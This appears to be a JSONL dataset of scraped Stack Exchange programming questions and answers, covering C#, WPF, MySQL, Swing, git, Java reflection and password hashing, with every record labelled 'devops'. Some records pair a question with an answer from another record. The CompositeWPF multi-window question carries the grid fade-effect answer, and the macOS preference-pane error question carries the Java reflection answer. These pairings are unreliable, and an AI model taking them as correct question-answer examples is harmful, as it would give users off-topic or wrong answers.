{"id": "hf_28ebb5c73ea7", "question": "<p>In a progression of languages, I have been learning C and C++.  Now I would like to learn C#.  I know there are some drastic differences between them - such as the removal of pointers and garbage collection.  However, I don't know many of the differences between the two.</p>\n\n<p>What are the major differences that a C++ programmer would need to know when moving to C#?  (For example, what can I use instead of STL, syntactic differences between them, or anything else that might be considered important.)</p>\n", "question_body": "", "answer": "C# for C++ Developers\nis a great place to start.  It is a table that lists the most important comparisons between the two languages.\nOnce you have explored some of these differences, you might choose a self-contained project you have written in the past in C++, and re-write it in C#.  In your first pass, you will probably just end up translating directly across, using the same design and algorithms.  As you become more comfortable with C#, you will recognize ways to take advantage of language features only available in C#, as well as the incredibly versatile .NET Framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.964633"}
{"id": "hf_71d0e8909ecb", "question": "<p>When a user clicks in certain places in my control, I want to change the color of some rows and columns in my grid, then fade it back to the normal color, within say 500ms or so.  I haven't decided whether to use Winforms or WPF yet, so advice in either of those technologies would work.  Thank you.</p>\n\n<p>Edit: I understand I could do this by just calling Paint in a loop within the click event, properly setting the drawing parameters.  However I believe that would block the UI, and I would like to be more responsive than that.</p>\n", "question_body": "", "answer": "At its simplest, a fade effect like this just requires a timer of some sort that gradates the color back towards normal with each tick.  The faster the time, the more discrete colors you will display from start to finish, and the smoother the overall effect will be (WPF may have something built-in to do this).\nYou definitely\ndo not\nwant to repaint in a loop.  As you pointed out this will block the UI, and also you would not be able to control how long the loop takes (different machines will render the same number of steps from highlight color to normal in different lengths of time).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.002319"}
{"id": "hf_98c2bea588de", "question": "<p>I'm looking at using CompositeWPF (<a href=\"http://www.codeplex.com/CompositeWPF\" rel=\"nofollow noreferrer\">http://www.codeplex.com/CompositeWPF</a>) - aka Prism, to build an application I am working on.</p>\n\n<p>The application isn't a traditional LOB application, however it does present data and state information to the user.</p>\n\n<p>One thing which I am unsure of is if CompositeWPF supports more than one Window or Shell. I would like to have my application notify users with a border-less window which appears in the lower RHS of the screen (think MSN notification) but still use the idea of views being injected into the region etc.</p>\n\n<p>In addition to this I would like to be able to react to a user action (e.g. double click on something), hide the main window and present a progress dialog while work is being performed.</p>\n\n<p>So, is this possible?</p>\n", "question_body": "", "answer": "At its simplest, a fade effect like this just requires a timer of some sort that gradates the color back towards normal with each tick.  The faster the time, the more discrete colors you will display from start to finish, and the smoother the overall effect will be (WPF may have something built-in to do this).\nYou definitely\ndo not\nwant to repaint in a loop.  As you pointed out this will block the UI, and also you would not be able to control how long the loop takes (different machines will render the same number of steps from highlight color to normal in different lengths of time).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.027244"}
{"id": "hf_a590ef6389df", "question": "<p>Using <code>MySQL</code>, I can do something like:</p>\n\n<pre><code>SELECT hobbies FROM peoples_hobbies WHERE person_id = 5;\n</code></pre>\n\n<p><strong>My Output:</strong></p>\n\n<pre><code>shopping\nfishing\ncoding\n</code></pre>\n\n<p>but instead I just want 1 row, 1 col:</p>\n\n<p><strong>Expected Output:</strong></p>\n\n<pre><code>shopping, fishing, coding\n</code></pre>\n\n<p>The reason is that I'm selecting multiple values from multiple tables, and after all the joins I've got a lot more rows than I'd like.</p>\n\n<p>I've looked for a function on <a href=\"http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_concat-ws\" rel=\"noreferrer\">MySQL Doc</a> and it doesn't look like the <code>CONCAT</code> or <code>CONCAT_WS</code> functions accept result sets.</p>\n\n<p>So does anyone here know how to do this?</p>\n", "question_body": "", "answer": "You can use\n```\nGROUP_CONCAT\n```\n:\n```\n```\nSELECT person_id,\n   GROUP_CONCAT(hobbies SEPARATOR ', ')\nFROM peoples_hobbies\nGROUP BY person_id;\n```\n```\nAs Ludwig stated in\nhis comment,\nyou can add the\n```\nDISTINCT\n```\noperator to avoid duplicates:\n```\n```\nSELECT person_id,\n   GROUP_CONCAT(DISTINCT hobbies SEPARATOR ', ')\nFROM peoples_hobbies\nGROUP BY person_id;\n```\n```\nAs Jan stated in\ntheir comment,\nyou can also sort the values before imploding it using\n```\nORDER BY\n```\n:\n```\n```\nSELECT person_id, \n       GROUP_CONCAT(hobbies ORDER BY hobbies ASC SEPARATOR ', ')\nFROM peoples_hobbies\nGROUP BY person_id;\n```\n```\nAs Dag stated in\nhis comment,\nthere is a 1024 byte limit on the result. To solve this, run this query before your query:\n```\n```\nSET group_concat_max_len = 2048;\n```\n```\nOf course, you can change\n```\n2048\n```\naccording to your needs. To calculate and assign the value:\n```\n```\nSET group_concat_max_len = CAST(\n                     (SELECT SUM(LENGTH(hobbies)) + COUNT(*) * LENGTH(', ')\n                           FROM peoples_hobbies\n                           GROUP BY person_id) AS UNSIGNED);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.115471"}
{"id": "hf_de6d38be00fe", "question": "<p>Besides the sample applications featured in the books <em>Beginning Groovy and Grails</em> and <em>The Definitive Guide to Grails</em>, are there any applications out there written in Grails that are good examples from which to learn best practices? Such as real applications that are open-source? Thanks.</p>\n", "question_body": "", "answer": "Yes.  IBM has an excellent series of articles building on to a sample application at  IBM's developerworks site:\nPart I:\nhttp://www.ibm.com/developerworks/java/library/j-grails01158/\nThe Series:\nhttp://www.ibm.com/developerworks/views/java/libraryview.jsp?search_by=mastering+grails", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.140858"}
{"id": "hf_048978490936", "question": "<p>recently I downloaded this open source project and I am trying to compile it.</p>\n\n<p>However, one of the line is giving me an error.</p>\n\n<p>\"import com.sun.org.apache.xpath.internal.functions.WrongNumberArgsException;\"</p>\n\n<p>Seems that i am missing a library.... is there a way to know WHICH library do I need?</p>\n\n<p>I tried searching on google for com.sun.org.apache.xpath.internal.functions,\nwhile there seem to be a result on kickjava.com/src containing the source code.</p>\n\n<p>I think i need the Jar file right?</p>\n\n<p>I tried downloading xalan from apache and it didn't work.\nI tried to see if there's a xpath library, but I dont think there's a xpath library?\nsearching for xpath led me to xalan.\nI have also tried Xerces-J-bin.2.9.1 .</p>\n\n<p>Thanks!</p>\n\n<hr>\n", "question_body": "", "answer": "The\nWrongNumberArgsException\nclass in Xalan is in the\n```\norg.apache.xpath.functions\n```\npackage.  With the Xalan jar in your project, you should just be able to change the import statement in the open source code to use the correct path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.165815"}
{"id": "hf_820d8d164259", "question": "<p>Scanner can only get input from system console? not be able to get from any dialog window?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "A\nScanner\ncan read text from any object which implements the\nReadable\ninterface.\nThat includes\n```\nBufferedReader\n```\n,\n```\nCharArrayReader\n```\n,\n```\nCharBuffer\n```\n,\n```\nFileReader\n```\n,\n```\nFilterReader\n```\n,\n```\nInputStreamReader\n```\n,\n```\nLineNumberReader\n```\n,\n```\nPipedReader\n```\n,\n```\nPushbackReader\n```\n, and\n```\nStringReader\n```\n(from the\n```\nReadable\n```\njavadoc).  Unfortunately, that does not include any dialog windows.\nThe easiest way to hook a dialog window to a\n```\nScanner\n```\nwould probably be to build a\n```\nScanner\n```\nusing the constructor that takes a\n```\nString\n```\n, passing the user input from the dialog directly to the\n```\nScanner\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.191068"}
{"id": "hf_903b2ffccbb6", "question": "<p>For quite a while, I thought that Free Software was Open Source Software.  I've found out that this view is incorrect, and that Open Source Software is not necessarily Free Software.  I honestly can't see any differences.</p>\n\n<p>What am I missing here?  What are the distinguishing traits of both parties?</p>\n", "question_body": "", "answer": "Both are basically the same, except the free software movement puts more emphasis on the freedom to modify and redistribute the code. For example, GNU GPL would be more \"free\" than MIT licence, because MIT license does not enforce copyleft and thus someone can develop closed-source software based on the code.\nSee also\nWikipedia chapter about this\n, which mentions Microsoft shared source inititive, that can provide you with very unfree source code of their applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.216907"}
{"id": "hf_efc247036440", "question": "<p>When the program runs, there is a series of ListView forms. We populated one of them with items (as strings) and we check whether the state of selection has changed. Once it's changed, we grab the text of the selected item using FocusedItem.Text. The first time works just fine but when another selection is made, the selected item returns as null.</p>\n\n<p>The only way we can temporarily get around this issue is to clear and repopulate the form. The disadvantage is that we lose the highlighted item. There got to be another way around this. Maybe we're not clear on how ListView really works?</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "I have run a test program and see no instance where FocusedItem could be nulls.\nCould you post some code?\nHere is what I got after I selects the item 'a' then selects the item 'b' and then click on an empty space:\n```\n```\nItemSelectionChanged\n    Item         : ListViewItem: {a}\n    IsSelected   : True\n    SelectedItem : ListViewItem: {a}\n    FocusedItem  : ListViewItem: {a}\nSelectedIndexChanged\n    SelectedItem : ListViewItem: {a}\n    FocusedItem  : ListViewItem: {a}\nItemSelectionChanged\n    Item         : ListViewItem: {a}\n    IsSelected   : False\n    SelectedItem : null\n    FocusedItem  : ListViewItem: {a}\nSelectedIndexChanged\n    SelectedItem : null\n    FocusedItem  : ListViewItem: {a}\nItemSelectionChanged\n    Item         : ListViewItem: {b}\n    IsSelected   : True\n    SelectedItem : ListViewItem: {b}\n    FocusedItem  : ListViewItem: {b}\nSelectedIndexChanged\n    SelectedItem : ListViewItem: {b}\n    FocusedItem  : ListViewItem: {b}\nItemSelectionChanged\n    Item         : ListViewItem: {b}\n    IsSelected   : False\n    SelectedItem : null\n    FocusedItem  : ListViewItem: {b}\nSelectedIndexChanged\n    SelectedItem : null\n    FocusedItem  : ListViewItem: {b}\n```\n```\nNoticed that\n```\nFocusedItem\n```\nis never null.\nIs it the same in your case?\nWould a simple\n```\nif (listView.FocusedItem == null)\n```\ncheck do for your case?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.280328"}
{"id": "hf_0d6d8f9cf840", "question": "<p>I need to load a bunch of words (about 70,000) from a text file, add it to a hashtable (using soundex as a key) and sort the values. While doing all these I want to show a progress bar using JProgressBar. Articles such as <a href=\"http://java.sun.com/docs/books/tutorial/uiswing/components/progress.html\" rel=\"noreferrer\">this</a> and <a href=\"http://www.dreamincode.net/forums/showtopic27952.htm\" rel=\"noreferrer\">this</a>, only gives a non-real example (a while loop). Can anyone suggest me how should I proceed. How can I get a number from above condition to set the value for the progress bar? Also it seems that there are different ways to do it - using thread, timer etc. Which could be the best method for the situation such as above?</p>\n", "question_body": "", "answer": "I would read the text file in a loop on a dedicated work thread, not the event-dispatch thread (EDT). If I know the total number of words to be read, then I can compute the percentage completed at each iteration of the loop and update the progress bar accordingly.\nSample Code\nThe following code puts the progress bar in indeterminate mode during preprocessing and postprocessing, displaying an animation that indicates work is occurring. Determinate mode is used when reading iteratively from the input file.\n```\n```\n// INITIALIZATION ON EDT \n\n// JProgressBar progress = new JProgressBar();\n// progress.setStringPainted(true);\n\n// PREPROCESSING\n\n// update progress bar (indeterminate mode)\nSwingUtilities.invokeLater(new Runnable()\n{\n    @Override\n    public void run()\n    {\n        progress.setIndeterminate(true);\n        progress.setString(\"Preprocessing...\");\n    }\n});\n\n// perform preprocessing (open input file, determine total number of words, etc)\n\n// PROCESSING \n\n// update progress bar (switch to determinate mode)\nSwingUtilities.invokeLater(new Runnable()\n{\n    @Override\n    public void run()\n    {\n        progress.setIndeterminate(false);\n    }\n});\n\nint count = 0;\n\nwhile (true)\n{\n    // read a word from the input file; exit loop if EOF\n\n    // compute soundex representation\n\n    // add entry to map (hash table)\n\n    // compute percentage completed\n    count++;\n    final int percent = count * 100 / total;\n\n    // update progress bar on the EDT\n    SwingUtilities.invokeLater(new Runnable()\n    {\n        @Override\n        public void run()\n        {\n            progress.setString(\"Processing \" + percent + \"%\");\n            progress.setValue(percent);\n        }\n    });\n}\n\n// POSTPROCESSING \n\n// update progress bar (switch to indeterminate mode)\nSwingUtilities.invokeLater(new Runnable()\n{\n    @Override\n    public void run()\n    {\n        progress.setIndeterminate(true);\n        progress.setString(\"Postprocessing...\");\n    }\n});\n\n// perform postprocessing (close input file, etc)\n\n// DONE! \n\nSwingUtilities.invokeLater(new Runnable()\n{\n    @Override\n    public void run()\n    {\n        progress.setIndeterminate(false);\n        progress.setString(\"Done!\");\n        progress.setValue(100);\n    }\n});\n```\n```\nSuggestions\nConsider writing a convenience method to update the progress bar on the EDT, so as to reduce clutter in your code (\n```\nSwingUtilities.invokeLater... public void run()...\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.330590"}
{"id": "hf_f0677e5d2c2e", "question": "<p>What are the benefits of having a member variable declared as read only?  Is it just protecting against someone changing its value during the lifecycle of the class or does using this keyword result in any speed or efficiency improvements?</p>\n", "question_body": "", "answer": "The\n```\nreadonly\n```\nkeyword is used to declare a member variable a constant, but allows the value to be calculated at runtime.  This differs from a constant declared with the\n```\nconst\n```\nmodifier, which must have its value set at compile time.  Using\n```\nreadonly\n```\nyou can set the value of the field either in the declaration, or in the constructor of the object that the field is a member of.\nAlso use it if you don't want to have to recompile external DLLs that reference the constant (since it gets replaced at compile time).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.356194"}
{"id": "hf_9821c492dccb", "question": "<p>Let's say I've got a setup that look something like</p>\n\n<pre><code>phd/code/\nphd/figures/\nphd/thesis/\n</code></pre>\n\n<p>For historical reasons, these all have their own git repositories. But I'd like to combine them into a single one to simplify things a little. For example, right now I might make two sets of changes and have to do something like</p>\n\n<pre><code>cd phd/code\ngit commit \ncd ../figures\ngit commit\n</code></pre>\n\n<p>It'd be (now) nice to just to perform</p>\n\n<pre><code>cd phd\ngit commit\n</code></pre>\n\n<p>There seems to be a couple of ways of doing this using submodules or pulling from my sub-repositories, but that's a little more complex than I'm looking for. At the very least, I'd be happy with</p>\n\n<pre><code>cd phd\ngit init\ngit add [[everything that's already in my other repositories]]\n</code></pre>\n\n<p>but that doesn't seem like a one-liner. Is there anything in <code>git</code> that can help me out?</p>\n", "question_body": "", "answer": "The sequence you suggested\n```\n```\ngit init\ngit add *\ngit commit -a -m \"import everything\"\n```\n```\nwill work, but you will lose your commit history.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.419848"}
{"id": "hf_252562a29a26", "question": "<p>I have created a VB.Net lending application for a cooperative that caters to widows. The application tracks the members' loans and payments, and is also used as an accounting system. In my first release, the users felt that showing a messagebox every time an error occurs is very annoying. My solution is to output errors in a label control. The users accepted the modification, but i feel i am doing it wrong. </p>\n", "question_body": "", "answer": "They were probably annoyed with a modal dialog that interrupted their input flow.  Imagine if Word interrupted you every time you typed a word it couldn't find in the dictionary, instead of just underlining it in red and letting you fix your typos later.  You'd type pretty slow.\nI recommend you just highlight input errors and let them come back and fix them when they're done.  If they try to submit the form (or whatever the analogue would be), then show the dialog and don't let them submit until they fix or acknowledge the fields flagged with errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.446285"}
{"id": "hf_6f10e4f1c9d8", "question": "<p>My code processes all the files in a folder on a Windows box. I want to offer the user (who happens to also be me) the option to select the folder to be processed, using the standard File Chooser dialog.</p>\n\n<p>I am trying to use the <a href=\"http://msdn.microsoft.com/en-us/library/ms646927(VS.85).aspx\" rel=\"nofollow noreferrer\" title=\"MSDN Page for GetOpenFileName\">GetOpenFileName</a> function to make this happen. (I am actually calling it from Python via <a href=\"http://docs.activestate.com/activepython/2.5/pywin32/win32gui__GetOpenFileNameW_meth.html\" rel=\"nofollow noreferrer\" title=\"PyWin32 Manual on GetOpenFileNameW\">pywin32</a>, but that shouldn't be relevant.)</p>\n\n<p>I can get it to select a particular file, but I can't see any options to let the user select a folder instead.</p>\n\n<p>Is there a flag combination I haven't understood, am I calling the wrong function entirely or is there another idiom for doing this?</p>\n", "question_body": "", "answer": "Unfortunately, I think you're calling the wrong function entirely. It's been a while since I've done Win32 gui stuff.. but I seem to recall that there was a different way of bringing up a \"select directory\" box. It wasn't a straight Win32 function, but was some shell API function that required a whole heap of code to do the simplest thing.\nUpdate: A bit of google reveals the\nSHBrowseForFolder\nfunction.\nUpdate two: And here is an\nexample for Python\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.505494"}
{"id": "hf_960e35f13ad1", "question": "<p>How can I refer a custom function in xml?  Suppose that I have a function written in Java and want it to refer by the xml tag, how is this possible?</p>\n\n<p>Current senario: I am using XACML2.0 which contains xml tags and I want to refer some function in Java that will talk to the backend data, I'm unable to refer a function in xacml.  Could you help me please?</p>\n", "question_body": "", "answer": "You should read up on Reflection in Java.\nThe following example would invoke the method\nmyObjectThatContainsMethod#methodNameAsString(Integer arg1, Integer arg2)\n```\n```\nInteger[] params = {new Integer(123),new Integer(567)}; \nClass cl=Class.forName(\"stringParsedFromYourXML\"); \nClass[] par=new Class[2]; \npar[0]=Integer.TYPE; \npar[1]=Integer.TYPE; \nMethod mthd=cl.getMethod(\"methodNameAsString\", parameterTypes); \nmthd.invoke(new myObjectThatContainsMethod(), params);\n```\n```\nhope that helps..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.612005"}
{"id": "hf_cabb17bdd939", "question": "<p>I'm working on a System Preferences Pane. It opens fine on some computers, but on other Macs (all running 10.5.5), the preference pane refuses to load and simply hangs, spitting the following into the console:</p>\n\n<pre><code>11/9/08 8:38:50 PM [0x0-0x31031].com.apple.systempreferences[369] Sun Nov 9 20:38:50 Macintosh.local System Preferences[369] &lt;Error&gt;: Failed to create window context device \n11/9/08 8:38:50 PM [0x0-0x31031].com.apple.systempreferences[369] Sun Nov 9 20:38:50 Macintosh.local System Preferences[369] &lt;Error&gt;: CGWindowContextCreate: failed to create context delegate.\n11/9/08 8:38:55 PM [0x0-0x31031].com.apple.systempreferences[369] Sun Nov 9 20:38:55 Macintosh.local System Preferences[369] &lt;Error&gt;: Failed to create window context device\n</code></pre>\n\n<p>Any ideas why this is happening?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You should read up on Reflection in Java.\nThe following example would invoke the method\nmyObjectThatContainsMethod#methodNameAsString(Integer arg1, Integer arg2)\n```\n```\nInteger[] params = {new Integer(123),new Integer(567)}; \nClass cl=Class.forName(\"stringParsedFromYourXML\"); \nClass[] par=new Class[2]; \npar[0]=Integer.TYPE; \npar[1]=Integer.TYPE; \nMethod mthd=cl.getMethod(\"methodNameAsString\", parameterTypes); \nmthd.invoke(new myObjectThatContainsMethod(), params);\n```\n```\nhope that helps..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.637950"}
{"id": "hf_61e12323317b", "question": "<p>I am tired of doing typical CRUD programming type applications. I would like to work on some interesting (not too hard) programming problems.  Are there any sites out there to help me exercise my brain?</p>\n", "question_body": "", "answer": "Project Euler:\nhttp://projecteuler.net/\nis a nice collection of randomly interesting problems.\nSomewhat related (not always programming, but generally interesting to programmers) is the IBM ponder this site:\nhttp://domino.research.ibm.com/Comm/wwwr_ponder.nsf/pages/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.663234"}
{"id": "hf_c937e7e78894", "question": "<p>What is the best way to find the total number of words in a text file in Java? I'm thinking Perl is the best on finding things such as this. If this is true then calling a Perl function from within Java would be the best? What would you have done in condition such as this? Any better ideas?</p>\n", "question_body": "", "answer": "I'd initialize a\n```\nword_count\n```\nint to 1, then loop through each character in the file and increment\n```\nword_count\n```\nfor every whitespace character\nunless\nthe previous character was a whitespace character. (A space, tab, or newline.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.703262"}
{"id": "hf_af22cfe7fd7a", "question": "<p>When I started programming I was using Ruby and the colorful little notepad that came with it. Since I started learning Java I've been using Eclipse, which is apparently an IDE. Now I've read a bit about this Mono on Reddit, but I don't think I understand exactly what it is. The website says it is a development framework: is that just another word for IDE? I'm a true beginner who wants to work in a number of languages, from Java and Ruby to z80 and ARM9... is there an IDE or development framework that might be best for little me?</p>\n", "question_body": "", "answer": "a framework is a set of classes and supporting code to be used to build applications. this can be as simple as the C standard library or as complex as the Smalltalk environment, or may even include the infrastructure for complex application like Dynamic or ERP systems - but essentially a framework is just a class library\nan IDE (Integrated Development Environment) is a tool for writing programs; this tool is essentially a just a program that contains a text-editor that supports compilation and debugging et al\n[mono is a linux-based implementation of the .NET framework, by the way]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.728918"}
{"id": "hf_687e5b55d182", "question": "<p>I have a website with a mix of ASP (classic) and ASP.NET pages.</p>\n\n<p>For some reason Visual Studio (specifically 2008 Pro) keeps trying to compile the ASP classic pages.</p>\n\n<p><strong><em>How do I prevent it from trying to compile the .asp pages?</em></strong></p>\n\n<p>Reason: I'm getting a ton of errors on a specific .asp file that includes a Class. I believe it's trying to compile it as a Visual Basic class instead of seeing it as a vBScript class. It should be skipping over .asp files anyway, correct?</p>\n\n<p>Here is the error:</p>\n\n<blockquote>\n  <p>Property Get/Let/Set are no longer\n  supported; use the new Property\n  declaration syntax.</p>\n</blockquote>\n", "question_body": "", "answer": "What is in the @Page directive on those classic ASP pages? Have you tried inserting\n```\n<% @Page language=\"vbscript\" %>\n```\nMaybe this does it already?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.787966"}
{"id": "hf_ff2d0bd91c4a", "question": "<p>I would like to intercept any URL which the user enters in their browser and perform some tasks before allowing the navigation to continue (any way could be good - i.e. via plug in, via proxy or any other creative suggestion).\nTo clarify - I am not referring to a specific application that needs to catch this, but rather - any navigation that the user does on his browser needs to be caught (i.e. the user is not opening my application, it should be running in the background or something like that...)\nThanks in advance...</p>\n", "question_body": "", "answer": "If you're using Javascript, there's an event which fires when the user exists a page called\n```\nonunload\n```\n.\n```\n```\nwindow.onunload = function() {\n    alert(\"You're leaving this page.\");\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.839289"}
{"id": "hf_207f26ac67dd", "question": "<p>Given a bitmap image with some blots of solid color on it, what algorithm would you employ to construct polygons in the same shape as the blots?</p>\n\n<p>This can be done in multiple steps: a high-resolution polygon could be later cut down by a best fit algorithm.  Bonus points if you can tell me how to cut the resulting polygons into convex components so that they can be rendered in OpenGL without problems.</p>\n", "question_body": "", "answer": "Reverse rasterizing is referred to as\nvectorizing\n.  The algorithms are generally quite complex, here's a\ngooglet\nof a few of them.  Check out sparse pixel tracking and sparse pixel vectorization for some good examples.\nFor good algorithms for polygon partitioning, check out Joespeh O'Rourkes 'Computational Geometry in C', ISBN 0-521-44034-3, or search for\nconcave polygon partitioning\nalgorithms, such as\nthis", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.890692"}
{"id": "hf_acbd6f3fb8d5", "question": "<p>I am a bit confused why this code compiles.  I leave out the \"necessary\" <code>#include &lt;OpenGL/gl.h&gt;</code> and still the program can compile.  How is this possible when my program is calling functions from the GL library, without including them.</p>\n\n<pre><code>int main(int argc, char** argv)\n{\n\n    glClearColor(1.0,1.0,1.0,1.0);\n    return 0;\n}\n</code></pre>\n\n<p>I use this compilation command:</p>\n\n<pre><code> gcc -framework GLUT -framework OpenGL test.c\n</code></pre>\n\n<p>I was under the assumption that adding -framework just specifies to the linker where the library is, but I thought I still need the headers?</p>\n", "question_body": "", "answer": "glClearColor isn't a macro so you don't\nneed\nthe headers to define it. If you add warnings:\n```\n```\ngcc -o test -Wall -W test.c -framework GLUT -framework OpenGL\n```\n```\nThen you'll get a warning about the implicit declaration of glClearColor. You also won't be able to use any macros as the compiler will give you an error that they are undefined. Since the glClearColor symbol gets properly resolved by the linker, you never get an error.\nIt also occurs to me that you might have been wondering this because you thought you were compiling for C++. The example you gave actually compiles C code where it is not an error to fail to declare function prototypes. If you meant to compile this as C++ code, you would need the following command line:\ng++ -o test test.cpp -framework OpenGL\nIn that case you most certainly would get an error for not including gl.h and your code would fail to compile. When executing GCC from the command line, g++ is the C++ compiler while gcc is the general C compiler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.928067"}
{"id": "hf_2a5cb6419f6e", "question": "<p>I am storing all my passwords in the form hashed. I need to retrieve these passwords\nEg</p>\n\n<p>My password is \"123456\" I save this as hashed \"3453474852dfdsfdsfdf\" value.</p>\n\n<p>I need to retrieve the original password from the hashed value. (Get Password).</p>\n\n<p>How can I do that?. I am doing SHA1 hashing algorithm.</p>\n", "question_body": "", "answer": "This is not possible. SHA1 is, very carefully and deliberately, a\none-way function\n.\nWhy are you trying to recover the original password? It is not needed for authentication, because you simply hash the input password and compare the hash values.\nIf it is because the user forgot their password, then standard practice appears to be generating a randomized reset link and emailing it to the user.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:48.969320"}
